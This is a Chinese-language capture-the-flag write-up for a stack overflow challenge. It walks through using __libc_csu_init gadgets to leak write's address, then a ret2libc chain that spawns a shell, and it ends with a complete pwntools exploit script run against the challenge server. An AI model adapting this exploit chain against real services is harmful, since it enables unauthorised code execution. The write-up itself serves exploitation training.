看一下保护机制
再拖到ida里看一下
int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(_bss_start, 0LL); write(1, "Start Your Exploit!\n", 0x14uLL); vuln(); return 0; }
|
ssize_t vuln() { char buf[256];
write(1, "Input:\n", 7uLL); read(0, buf, 0x200uLL); return write(1, "Ok.\n", 4uLL); }
|
主体部分非常简洁 但是没有任何后门函数和泄露真实地址的地方
一开始我们会想自己构造rop链
通过ROPgadget来寻找rdi rsi rdx三个寄存器的传参汇编地址
我们来看一下能否找到我们想要的汇编
可以看到并没有rdx
但是仍然还存在一种可能,我们gdb看一下当我们read数据的时候 rdx寄存器的值是多少
可以看到是0x4 显然没有办法成为我们调用wirte函数的参数(因为其是作为第三个参数size存在的,这样我们只能输出4个字节的数据)
所以此时我们回忆一下,有没有什么万能的rop链?欸 一想还真有 叫ret2csu(相关的介绍在栈部分里有)
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn
|
我们再看一下程序给了我们哪些函数
那么思路直接有了 这里用write函数 然后通过csu汇编代码将参数传给寄存器 这样我们就能泄露出write函数的真实地址了(也可以是其他的)
泄露出来以后 就是ret2libc的知识点了 思路捋清了 直接看exp吧
from pwn import* io = remote("43.143.7.97",28657) libc = ELF("libc.so.6") elf = ELF("./ret2csu") gadget2_addr = 0x4012A6 gadget1_addr = 0x401290 vuln_addr = 0x401176 rdi_addr = 0x4012b3 write_got = elf.got['write'] io.recvuntil("Input:") payload1 = cyclic(0x100+0x8)+p64(gadget2_addr)+cyclic(8)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(gadget1_addr)+cyclic(56)+p64(vuln_addr) io.sendline(payload1) io.recvuntil("Ok.\n") write_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00")) libc_addr = write_addr - libc.sym['write'] hex(libc_addr) system_addr = libc_addr + libc.sym['system'] hex(system_addr) binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) hex(binsh_addr) io.recvuntil("Input:\n") payload2 = cyclic(0x108)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(vuln_addr) io.sendline(payload2) io.interactive()
|